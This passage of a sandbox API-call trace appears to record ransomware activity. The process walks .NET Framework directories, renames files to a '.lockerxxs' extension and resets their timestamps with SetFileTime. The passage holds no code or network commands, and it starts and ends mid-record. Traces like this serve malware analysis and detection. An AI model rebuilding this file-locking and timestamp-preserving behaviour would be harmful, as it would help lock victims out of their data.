(normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs.lockerxxs")) returned 1 [0138.955] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.955] CloseHandle (hObject=0x94) returned 1 [0138.955] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs.lockerxxs")) returned 1 [0138.959] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.959] CloseHandle (hObject=0x94) returned 1 [0138.959] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs.lockerxxs")) returned 1 [0138.962] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.962] CloseHandle (hObject=0x94) returned 1 [0138.962] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs.lockerxxs")) returned 1 [0138.964] lstrcmpA (lpString1=".", lpString2="App_Data") returned -1 [0138.964] lstrcmpA (lpString1="..", lpString2="App_Data") returned -1 [0138.964] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed31f20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.965] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.965] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.965] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.966] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.967] CloseHandle (hObject=0x94) returned 1 [0138.967] lstrcmpA (lpString1=".", lpString2="App_GlobalResources") returned -1 [0138.967] lstrcmpA (lpString1="..", lpString2="App_GlobalResources") returned -1 [0138.967] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.967] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.968] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.968] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.971] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.971] CloseHandle (hObject=0x94) returned 1 [0138.972] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.972] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.972] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebdb2c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f2d9360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630072, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.974] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.974] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.974] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.975] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.975] CloseHandle (hObject=0x94) returned 1 [0138.979] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.979] CloseHandle (hObject=0x90) returned 1 [0138.980] lstrcmpA (lpString1=".", lpString2="Images") returned -1 [0138.980] lstrcmpA (lpString1="..", lpString2="Images") returned -1 [0138.980] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x5015a2, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.985] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.986] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.987] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.988] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.988] CloseHandle (hObject=0x94) returned 1 [0138.991] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.991] CloseHandle (hObject=0x94) returned 1 [0138.992] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg.lockerxxs")) returned 1 [0138.996] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.997] CloseHandle (hObject=0x94) returned 1 [0138.997] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\darkblue_grad.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\darkblue_grad.jpg.lockerxxs")) returned 1 [0139.001] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.001] CloseHandle (hObject=0x94) returned 1 [0139.001] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\help.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\help.jpg.lockerxxs")) returned 1 [0139.004] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.004] CloseHandle (hObject=0x94) returned 1 [0139.004] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\security_watermark.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\security_watermark.jpg.lockerxxs")) returned 1 [0139.008] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.008] CloseHandle (hObject=0x94) returned 1 [0139.008] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\topgradrepeat.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\topgradrepeat.jpg.lockerxxs")) returned 1 [0139.009] lstrcmpA (lpString1=".", lpString2="Providers") returned -1 [0139.009] lstrcmpA (lpString1="..", lpString2="Providers") returned -1 [0139.009] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x5015a2, cFileName=".", cAlternateFileName="")) returned 0x502658 [0139.012] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.012] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.012] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.012] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0139.012] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0139.012] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.014] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.014] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.014] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.020] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.020] CloseHandle (hObject=0x98) returned 1 [0139.021] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.021] CloseHandle (hObject=0x94) returned 1 [0139.022] lstrcmpA (lpString1=".", lpString2="Security") returned -1 [0139.022] lstrcmpA (lpString1="..", lpString2="Security") returned -1 [0139.023] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e99fe20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502658 [0139.024] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.024] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.024] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.025] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0139.025] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0139.025] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.027] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.027] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.027] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.028] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.029] CloseHandle (hObject=0x98) returned 1 [0139.030] lstrcmpA (lpString1=".", lpString2="Permissions") returned -1 [0139.030] lstrcmpA (lpString1="..", lpString2="Permissions") returned -1 [0139.030] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610063, dwReserved1=0x52006c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.033] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.033] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.033] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.033] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0139.033] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0139.033] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0139.033] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.033] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.033] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.037] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.037] CloseHandle (hObject=0x9c) returned 1 [0139.038] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.038] CloseHandle (hObject=0x98) returned 1 [0139.039] lstrcmpA (lpString1=".", lpString2="Roles") returned -1 [0139.039] lstrcmpA (lpString1="..", lpString2="Roles") returned -1 [0139.039] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690073, dwReserved1=0x6e006f, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.042] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.042] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.042] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.042] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0139.042] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0139.042] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0139.042] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.043] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.043] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.046] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.046] CloseHandle (hObject=0x9c) returned 1 [0139.047] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.047] CloseHandle (hObject=0x98) returned 1 [0139.049] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.049] CloseHandle (hObject=0x94) returned 1 [0139.049] lstrcmpA (lpString1=".", lpString2="Users") returned -1 [0139.049] lstrcmpA (lpString1="..", lpString2="Users") returned -1 [0139.049] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e99fe20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5015b4, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.051] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.051] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.051] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.053] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.053] CloseHandle (hObject=0x98) returned 1 [0139.053] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0139.053] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0139.053] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e99fe20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015c0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0139.055] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.055] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.055] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.057] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.057] CloseHandle (hObject=0x9c) returned 1 [0139.058] lstrcmpA (lpString1=".", lpString2="Wizard") returned -1 [0139.058] lstrcmpA (lpString1="..", lpString2="Wizard") returned -1 [0139.058] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f34b780, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0048, dwReserved1=0x200057, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.061] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.061] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.061] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.061] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0139.061] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0139.061] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f34b780, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0139.063] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.063] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.063] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.064] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.065] CloseHandle (hObject=0x9c) returned 1 [0139.067] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.067] CloseHandle (hObject=0x98) returned 1 [0139.073] lstrcmpA (lpString1=".", lpString2="Config") returned -1 [0139.073] lstrcmpA (lpString1="..", lpString2="Config") returned -1 [0139.073] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd5c0e3a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c0e3a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.079] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.079] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.079] lstrcmpA (lpString1=".", lpString2="Browsers") returned -1 [0139.079] lstrcmpA (lpString1="..", lpString2="Browsers") returned -1 [0139.079] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\Browsers\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0139.083] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.083] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.083] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.085] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.085] CloseHandle (hObject=0x94) returned 1 [0139.088] 